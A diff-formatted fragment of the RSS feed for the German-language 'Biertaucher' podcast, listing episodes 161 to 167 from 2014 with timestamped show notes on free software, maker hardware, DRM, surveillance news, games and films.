+ <i>Bitte <a href="http://goo.gl/Msmf7P">hier klicken um die Shownotes zur Folge 167</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung
+</li><li> 0:00:49 worüber wir reden werden
+</li><li> 0:02:30 Harald ist begeistert von <a href="http://oe1.orf.at/programm/379181">Ö1-Sendung Dimensionen</a>: Buchbesprechung: <a href="http://www.amazon.de/gp/product/3100022033/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3100022033&linkCode=as2&tag=spielendprogr-21&linkId=XTTNUONAJTMPGI5M">Psychopolitik, Neoliberalismus und die neuen Machttechniken</a> - Ausbeutung durch Selbst-Optimierung
+</li><li> 0:18:14 TED-Talk über <a href="http://www.ted.com/talks/shawn_achor_the_happy_secret_to_better_work">Leistungssteigerung durch Glück</a>
+</li><li> 0:21:28 Apples Smartwatch, Google location, Ego-Tracking
+</li><li> 0:24:24 verpflichtende Tracking-Box im Auto. Open-Source Auto: Team wikispeed.
+</li><li> 0:25:38 ausgereifte frei lizensierte Python IDE von JetBrains: <a href="http://www.jetbrains.com/pycharm/">PyCharm (community-edition)</a> mit Github-Anwendung. Dual-Lizensierung (OwnCloud), Bezahlen für freie Software
+</li><li> 0:30:20 Harald sucht ein skalierbares SmartHome System: <a href="http://nodejs.org/">Node.js</a> und <a href="https://www.meteor.com/">Meteor</a> gleichzeitig verteilt Apps programmieren, ähnlich wie Google Docs.
+</li><li> 0:34:00 <a href="https://projects.eclipse.org/projects/technology.ponte">Ponte</a> Synchonisations- und Protokollübersetzungstool für IPv6 Sensoren und ähnliche/zugehörige Tools
+</li><li> 0:42:30 Gregors Nuk Programmiercomputer: Web-export für Calibre Ebook Bibliotheken: <a href="http://blog.slucas.fr/en/oss/calibre-opds-php-server">Cops</a> und <a href="http://calibre2opds.com/">Calibre2opds</a>
+</li><li> 0:55:58 Haralds Port 80 wird von seinem Provider blockiert (Chello/Upc). Router erfolgreich umkonfiguriert auf Port 8080 (<a href="http://www.dd-wrt.com/site/index">ddwrt</a>)
+</li><li> 0:58:00 <a href="http://rayshobby.net/?p=4595">SquareWear</a> wearable Microcontroller mit Linux und demnächst mit Arduinoboard
+</li><li> 1:02:57 schöner Leben: Ebook Besprechung: <a href="http://www.amazon.de/gp/product/3442380308/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3442380308&linkCode=as2&tag=spielendprogr-21&linkId=NS7WHEYUQDTZBQ5G">Get ready Player One</a> (extra Nerdig)
+</li><li> 1:09:03 Sience (Fiction): Wie viele Leute braucht ein (Generationen)-<a href="http://www.popularmechanics.com/science/space/deep/how-many-people-does-it-take-to-colonize-another-star-system-16654747">Auswanderungsraumschiff</a> ? Mindestens 40.000 !
+</li><li> 1:13:50 schöner Leben (TV-Serie): 2. Staffel von <a href="https://en.wikipedia.org/wiki/Real_Humans">Äkta människor</a>
+</li><li> 1:15:02 Kino: How to train your Dragon 2 und <a href="http://www.amazon.de/gp/product/B00LGGF08E/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00LGGF08E&linkCode=as2&tag=spielendprogr-21&linkId=P4FZTEDPMMKWM5PT">Die Karte meiner Träume</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher167.mp3" length="59170344" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Ausbeutung durch Selbstoptimierung, Drachen und Drei-Käse-Hochs im Kino, echte Menschen aus Schweden, tragbare Mikroprozessoren u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/Msmf7P http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:22:07</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 167, Ö1, Selbstoptimierung, Ausbeutung, Trackingbox, PyCharm, Node.js, Meteor, Ponte, Calibre, Cops, Calibre2opds, ddwrt, Port80, Wearable, SquareWear, Get ready player one, Äkta människor, how to train your dragon2, Die Karte meiner
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 166</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:166</link>
+ <pubDate>Fri, 01 Aug 2014 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher166.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:166&amp;title=Biertaucher%20Folge%20166&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Florian SCHWEIKERT, Horst JENS, Gregor PRIDUN und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/x5Alj1 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/x5Alj1">hier klicken um die Shownotes zur Folge 166</a> zu sehen</i><br></br>
+ <b>Florian SCHWEIKERT</B>, <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:02:03 <a href="http://derstandard.at/2000003347031/Laufband-PC-Das-Home-Office-von-Linus-Torvalds">Linus Thorvalds Homestory</a>: sein Arbeitsplatz mit Stehpult und Laufband
+</li><li> 0:04:26 Harald vs. ÖBB: wochenlang nicht reparierte Weiche im Gailtal, polnische Speisewagen
+</li><li> 0:09:54 Horst berichtet über die <a href="https://ep2014.europython.eu/en/">Europython2014</a> in Berlin (Teil 1), <a href="https://ep2014.europython.eu/en/schedule/sessions/118/">Keynote von Konstanze Kurz</a>
+</li><li> 0:18:10 Gregors spielt Point-and-click Adventures (Linux Steam) auf seinem Nuk Computer: <a href="http://www.amazon.de/gp/product/B00LL43MXG/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00LL43MXG&linkCode=as2&tag=spielendprogr-21">The book of the unwritten tales</a>, <a href="http://steamcommunity.com/app/221830?l=german">The Critter chronichles</a>
+</li><li> 0:22:29 Haralds Fern-Haus-einfrier-überwachungs-Projekt mit <a href="http://www.osdomotics.com/">OSDomotics</a> und <a href="http://osdwiki.open-entry.com/doku.php/de:projekte:smart-sarah">Sarahbox</a>
+</li><li> 0:35:27 Internet of things: <a href="http://www.meetup.com/IoT-Vienna/events/184085002/">IoT Vienna Vortragsabend</a> am 13. August 2014, 19:30 im Stockwerk
+</li><li> 0:36:20 Horst berichtet über Europython2014 (Teil 2): <a href="http://youtu.be/4kIXlgK-uUY?list=UUadZ6_NWdCN6YolgQdfV8Pg">Pythonic Company</a> macht Big Data mit Python, <a href="http://youtu.be/MqMlfNgBmKU?list=UUadZ6_NWdCN6YolgQdfV8Pg">Pixydust Konferenz für junge Mädchen (Youtube: 0:12:05 - 0:14:47), Blender-Python-Tutorial: <a href="http://pymove3d.sudile.com/">PyMove3d</a>, In Minecraft Python programmieren: <a href="http://mcpipy.wordpress.com/2013/02/21/pocket-edition-raspberry-pi-edition-compatible/">PyCraft</a>, brasilianischer Python MOOC (massive online open courseware): <a href="http://youtu.be/egjzOPTvDMI?list=UUadZ6_NWdCN6YolgQdfV8Pg">Python para Zombies</a>. (cc-by-sa). <a href="http://youtu.be/CR0RwMHIzQ8?list=UUadZ6_NWdCN6YolgQdfV8Pg">Transgender-Vortrag</a>
+</li><li> 0:48:30 Haralds schöner Wohnen Projekt: Rollo-Steuerung mit Merkur-Board
+</li><li> 0:53:30 <a href="http://www.meinbezirk.at/wien-22-donaustadt/chronik/dritter-sozialmarkt-wien-wird-am-23-april-eroeffnet-d163649.html">dritter Sozialmarkt im 10. Bezirk (Wien) eröffnet</a>. Working poor, amerikan. Mindestlohndebatte.
+</li><li> 0:54:54 Hausräumung (Wien) <a href="http://derstandard.at/2000003621622/Pizzeria-Anarchia-Die-Raeumung-in-Bildern">Pizzeria Anarchika</a>: Tausende Polizisten, Hubschrauber, Panzer und Einschränkung der Pressefreiheit (Platzverbot) versus 19 Punks
+</li><li> 0:56:30 Florian über <a href="http://www.joystiq.com/2014/07/26/good-old-games-glitch-gave-away-free-games-in-linux-sale/">Good old Games</a> Linuxgames (größtenteils Dos-Box oder Wine), Support für Ubuntu und Linux Mint, Darwinia, Heroes of Might and Magic
+</li><li> 1:02:34 natives Linux Spiel: <a href="http://store.steampowered.com/app/239030/?l=german">Papers Please</a>, kommunistsche Grenzbeamtensimulation
+</li><li> 1:08:00 Horst war im <a href="http://www.computerspielemuseum.de/">Computerspielemuseum Berlin</a>
+</li><li> 1:12:50 Gregors Filmtipp: <a href="http://www.amazon.de/gp/product/B00LR3IN6W/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00LR3IN6W&linkCode=as2&tag=spielendprogr-21">Under the Skin</a> (2013): Bodysnatcher in Schottland
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher166.mp3" length="54574256" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst's Bericht von der Europython Konferenz 2014, Harald vs. ÖBB, smarte Hausüberwachung, schottische Bodysnatcher, Berliner Computerspielemuseum, Ostblock-Grenzbeamtensimulation u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/x5Alj1 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:15:44</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 166, Europython, Linus Thorvalds, ÖBB, Konstanze Kurz, Berlin, OSDOmotics, IoTVienna, Python, Pixiedust, Blender, Pymove3d, Transgender, Rollosteuerung, Pizzeria_Anarchia, GoG, Papers please, Computerspielemuseum, Under the skin
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 165</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:165</link>
+ <pubDate>Thu, 17 Jul 2014 16:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher165.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:165&amp;title=Biertaucher%20Folge%20165&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Florian SCHWEIKERT, Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/cpsyjm oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/cpsyjm">hier klicken um die Shownotes zur Folge 165</a> zu sehen</i><br></br>
+ <b>Florian SCHWEIKERT</B>, <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:11 Begrüßung, worüber wir reden werden
+</li><li> 0:01:08 Gregors neuer Arbeitsrechner: ein <a href="http://www.pcpro.co.uk/reviews/barebones/379267/intel-nuc">NUC</a> Barbone-Minirechner, ausgeliefert mit <a href="http://en.wikipedia.org/wiki/Mini_DisplayPort">Minidisplay</a> und ohne Ram und Festplatte. Gregor will ein <a href="http://en.wikipedia.org/wiki/Multiseat_configuration">Multi-Seat System</a> bauen (2 Tastaturen und 2 Monitore an einem PC)
+</li><li> 0:08:41 Florian kommt dazu und hat <a href="https://www.olimex.com/Products/OLinuXino/A20/A20-OLinuXino-MICRO/open-source-hardware">Olimex-Board A20 Lime</a> mitgebracht: stärker und mehr Anschlüsse als Rasperry Pi, genauso billig, open-hardware, aus Bulgarien
+</li><li> 0:19:17 low-cost, always-on, home-owncloud mit Olimex?
+</li><li> 0:23:50 Internet of Things Vienna / OSDomotics Workshop über <a href="http://www.meetup.com/IoT-Vienna/events/184087002/">Grove Module</a> (Open-Hardware)
+</li><li> 0:31:58 Xubuntu Linux und Steam installieren auf Nuc, diverse andere Linux-Distros (inkl. Grund des Scheiterns)
+</li><li> 0:38:00 Rösser, Schwerter, Mittelalter: <a href="http://en.wikipedia.org/wiki/Mount_%26_Blade:_Warband">Mount and Blade Warbands</a> unter Linux (Steam) als Demo, Stallman's Alptraum: Push-Technologie unter Linux
+</li><li> 0:46:50 Florian spielt Windows Adventures: <a href="http://www.amazon.de/gp/product/B0023ZJMQI/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B0023ZJMQI&linkCode=as2&tag=spielendprogr-21">Gray Matter</a>: Gute Magierin-Story in bescheidener 3D-Grafik
+</li><li> 0:54:10 Gregors Filmkritik: <a href="http://www.amazon.de/gp/product/B008JR9C50/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B008JR9C50&linkCode=as2&tag=spielendprogr-21">The Raid</a> (blutige Hochhaus-Polizei-Action aus Indonesien) und fühlt sich an <a href="http://www.amazon.de/gp/product/B009P12SNC/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B009P12SNC&linkCode=as2&tag=spielendprogr-21">Dredd 3D</a> erinnert.
+</li><li> 0:59:40 Horst bezahlt mit Bitcoins: <a href="https://www.humblebundle.com/books">Ebook Humble Bundle</a> und Projekt auf Indygogo: <a href="https://www.indiegogo.com/projects/let-s-build-a-planetary-energy-transmitter">Teslas Waycliff-Tower Nachbau</a>
+</li><li> 1:04:15 Horst freut sich schon auf die Europython in Berlin. Scheitert an Preisvergleichs-Seite für Fluglinien-Suche
+</li><li> 1:06:16 BBC-Serien Empfehlung von Florian: <a href="http://en.wikipedia.org/wiki/The_Musketeers">The Musketeers</a> Degen, Pulverdampf, Intrigen
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher165.mp3" length="50426189" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>indonesische Actionfilme, bulgarische Kleinstcomputer, britische Fernsehserie, türkisches Computerspiel, Hardware aus China</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/cpsyjm http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:09:58</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 165, Nuc, Barbone, MiniDisplay, MultiSeat, Olimex, open hardware, Xubuntu, Steam, Mount and Blade, Gray Matter, The Raid, Tesla, Waycliff-Tower, Europython, Flugvergleich, Musketeers
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 164</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:164</link>
+ <pubDate>Fri, 11 Jul 2014 09:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher164.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:164&amp;title=Biertaucher%20Folge%20164&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/hhXSCH oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/hhXSCH">hier klicken um die Shownotes zur Folge 164</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, brandneues Störgeräusch: plärrendes Kleinkind
+</li><li> 0:00:50 rituelle Frage, worüber wir reden werden
+</li><li> 0:02:48 Konkurrenz zum Raspberry Pi: <a href="http://derstandard.at/2000002722208/HummingBoard-Konkurrenz-fuer-den-Raspberry-Pi">Hummingboard</a>, (Cubbieboard, Omilex). Störgeräuschwechsel: Hintergrundmusik
+</li><li> 0:05:39 Gregor gibt Geld aus für einen <a href="https://en.wikipedia.org/wiki/Next_Unit_of_Computing">NuC Computer</a> (Barebone) als Kreativ-Kiste und hofft auf Linux-kompatible Hardware
+</li><li> 0:08:15 Gregor's Ebook-Reader (Kobo Touch) geht pünktlich nach Garantie-Ende kaputt.
+</li><li> 0:09:50 Horst scheitert beim Ebook-Kauf (Thalia-Webshop) an DRM-verseuchtem, nicht Linux-fähigen angeblichem epub-Format (Adobe DRM Software), Gregor bekommt Teile eines Humble-Bundle's geschenkt, Stallman warnte vor DRM-Books
+</li><li> 0:15:05 Spotify weiß selbst nicht wer warum Titel löscht, Löschung erfolgt sofort, Anfechtung schwierig
+</li><li> 0:15:50 Horst spielt den freien XCom-Nachbau <a href="http://ufoai.sf.net">UFO-AI</a> in der neusten Version (2.6), selbst kompiliert nach <a href="http://wiki.ubuntuusers.de/Spiele/UFO_-_Alien_Invasion?highlight=ufoai">Anleitung auf Ubuntuusers</a>. Ab Version 2.5 Debian-Lizenz kompatibel. Maps-Download Script für vorkompilierte Maps
+</li><li> 0:19:57 <a href="http://derstandard.at/2000002882509/NSA-ueberwacht-Tor-Server-Schutz-der-Privatsphaere-macht-verdaechtig">NSA überwacht Thor-Server</a> Benutzer (<a href="http://arstechnica.com/security/2014/07/the-nsa-thinks-linux-journal-is-an-extremist-forum/">und das Linux Journal</a>), XKeyScore
+</li><li> 0:23:20 Kino: französicher Musik/Romantik Komödie (leider deutsch synchronisiert): Große Jungs
+</li><li> 0:26:30 Buch: Wolf of Wallstreet und Catching the Wolf of Wallstreet. Versprecher: Jordan Belfort wurde nicht Anwalt, sondern Broker. neues Störgeräusch: schwafelnder Gast
+</li><li> 0:34:04 Kino: Klassiker im <a href="https://www.haydnkino.at/Cinema/Overview">Haydn-Kino</a> von 1980: <a href="https://www.haydnkino.at/Cinema/Overview">Blues Brothers (Saturday Night Show)</a>.
+</li><li> 0:39:10 Vorträge und Workshops von OSDomotics-Gründer Harald Pichler: Internet of Things Vienna
+</li><li> 0:40:08 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=71">Bitcoin-Update Folge 80</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher164.mp3" length="35923778" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst scheitert beim Ebook-Einkauf an DRM, UFOAI in neuer Version, Stallman behält Recht, Catching the Wolf of Wallstreet, UFoAI, Blues Brothers und Tech-Meldungen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/hhXSCH http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:40:45</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 164, Hummingboard, NuC, Barebone, ebook-reader, epub, Adobe, DRM, Thalia, Spotify, UfoAI, XCom, Thor, NSA, Ãœberwachung, Jordan Belford, Wolf of Wallstreet, Catching the Wolf of Wallstreet, Blues Brothers
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 163</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:163</link>
+ <pubDate>Fri, 04 Jul 2014 10:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher163.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:163&amp;title=Biertaucher%20Folge%20163&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/L2Pynr oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/L2Pynr">hier klicken um die Shownotes zur Folge 163</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher163.mp3" length="35923778" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>hier steht eines Tages ein leckerer Untertitel</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/L2Pynr http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:49:50</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 163
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 162</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:162</link>
+ <pubDate>Fri, 27 Jun 2014 09:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher162.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:162&amp;title=Biertaucher%20Folge%20162&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/TCyt5v oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/TCyt5v">hier klicken um die Shownotes zur Folge 162</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Gregor schüttet Bier auf Horst's Smartphone
+</li><li> 0:01:37 rituelle Frage: Was haben wir erlebt
+</li><li> 0:02:32 <a href="https://auphonic.com">Auphonic</a> (Sound-Software) wird kostenpflichtig
+</li><li> 0:06:00 Horst schaut (nach Gregors Empfehlung in <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2014:161">Folge 161</a>) <a href="http://video.adultswim.com/rick-and-morty/">Rick and Morty</a> und ist ebenfalls begeistert.
+</li><li> 0:08:15 Google spendet das <a href="https://de.wikipedia.org/wiki/SPDY">Spdy Modul</a> für Apache sowie <a href="http://derstandard.at/2000002203458/BoringSSL-Google-entwickelt-eigene-OpenSSL-Abspaltung">BoringSSL</a>, ein Fork von LibreSSL
+</li><li> 0:12:10 <a href="http://www.heise.de/tp/artikel/42/42018/1.html">Katzenvideoverschwörung</a> der Fracking-Lobby ?
+</li><li> 0:14:12 Googlewatchblog: <a href="http://www.googlewatchblog.de/2014/06/google-websuche-anleitungen-how/">Google liefert Anleitungen</a> anstatt Links
+</li><li> 0:15:55 Happy Birthday (1): X-Windows System <a href="https://plus.google.com/102057777074369211973/posts/2M3jfkL2gNJ">wird 30 Jahre alt</a>
+</li><li> 0:17:18 Happy Birthday (2): <a href="http://openxcom.org/">X-Com</a> (Ufo Defense) wird 20 Jahre alt und lebendig wie nie zuvor
+</li><li> 0:23:29 <a href="http://store.steampowered.com/agecheck/app/225340/">XCom: Enemy within</a> von Fireaxis (kommerzieller Nachfolger) ist für Linux erhältlich (Steam)
+</li><li> 0:24:55 <a href="https://de.wikipedia.org/wiki/TrueCrypt">TrueCrypt</a> bekommt neuen Betreuer
+</li><li> 0:26:40 USA: <a href="http://makezine.com/day-of-making/">National Maker Day</a> im weißen Haus. "From Zero to Maker" Autor sehr happy.
+</li><li> 0:27:48 Schöner Fernschauen: Gregor schaut <a href="https://en.wikipedia.org/wiki/Girls_(TV_series)">Girls</a> mit Leena Duham
+</li><li> 0:32:13 Krimi aus (und in) Wien: Horst hat <a href="http://www.amazon.de/gp/product/340416606X/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=340416606X&linkCode=as2&tag=spielendprogr-21">"Leben lassen" von Eva Rossmann</a> gelesen und freut sich über die Wien-Bezüge.
+</li><li> 0:34:42 Horst war auf der <a href="http://wien.orf.at/news/stories/2653191/">Anti-Erdogan-Demo</a> am Praterstern
+</li><li> 0:37:00 Steam Spiel: <a href="http://www.positech.co.uk/democracy2/register.html">Democracy-2</a> (Polit-Simulator)
+</li><li> 0:43:47 Brettspiel: Ökopolis
+</li><li> 0:44:25 Steam Spiel: <a href="http://www.defensezone.net/">Defense-Zone-2</a> (Tower-Defense)
+</li><li> 0:48:19 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=70">Bitcoin-Update 78</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher162.mp3" length="35215532" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Katzenvideoverschwörung der Fracking-Lobby, New Yorker Frauen mit Geldsorgen (Girls), Anti-Erdogan-Demo, schöne Spiele XCom, Wiener Krimi, Tech-Meldungen u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/TCyt5v http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:48:51</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 162, auphonic, Rick and Morty, Spdy, BoringSSL, Fracking, Katzenvideo, Googlewatchblog, XCom, TrueCrypt, Maker, Girls, Leben Lassen, Eva Rossmann, Anti-Erdogan-Demo, Defense-Zone2, Democracy2, Steam, Ökopolis, Tower-Defense
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 161</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:161</link>
+ <pubDate>Tue, 17 Jun 2014 21:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher161.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:161&amp;title=Biertaucher%20Folge%20161&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/zA0xjB oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/zA0xjB">hier klicken um die Shownotes zur Folge 161</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 linguistische Grausamkeit: Horst tut so als spricht (und versteht) er spanisch (Interview über Vor- und Nachteile von Couchsurfing).
+</li><li> 0:01:10 Begrüßung, worüber wir reden werden, Danksagung, Regenschirmspende, Ortsangabe
+</li><li> 0:04:54 Technik-Meldungen: Valve baut zusammen mit Luna-G besseren 3D-Support für Open-GL (GlassyMesa)
+</li><li> 0:06:26 Linux-Games: Civilisation V nativ für Linux auf Steam erhältlich, 7 von 10 Steam top-sellers für Linux erhältlich, <a href="http://play.freeciv.org/">FreeCiv </a>
+</li><li> 0:08:00 <a href="https://krautreporter.de/das-magazin">Krautreporter</a> erfolgreich finanziert, Spiegel-Artikel über neue Journalismus-Startups, holländisches Vorbild: <a href="https://decorrespondent.nl/home">DeCorrespondent</a>
+</li><li> 0:11:55 PDFium: <a href="http://www.heise.de/developer/meldung/Google-lanciert-Open-Source-Projekt-fuer-PDF-Softwarebibliothek-2221206.html">frei lizensierte PDF Bibliothek von Google</a>: <a href="https://code.google.com/p/pdfium/">PDFium</a>
+</li><li> 0:14:03 Horst war am Sonntag auf der <a href="http://pyug.at/">Python-User-Group Austria (PYUGAT)</a> und hat Lust bekommen auf polnische Python-Konferenz
+</li><li> 0:16:44 böser Konzern gegen nette Bloggerin: <a href="http://www.zeit.de/digital/internet/2014-06/ikea-zwingt-ikeahackers-zum-umzug">Ikea-Hackers.Net Blog</a> (alternative Zusammenbauanleitungen) wurde von IKEA abgemahnt
+</li><li> 0:19:00 tägliche Treffen der Couchsurfing-Vienna Community (Interviews im Anschluss).
+</li><li> Einzelinterviews, externe Files:
+</li><li> <a href="http://spielend-programmieren.at/biertaucherfiles/2014-06-12-folge161_couchsurfing_hospitality_exchange.mp3">Couchsurfing Hospitaly Exchange (ca.30min, deutsch)</a>
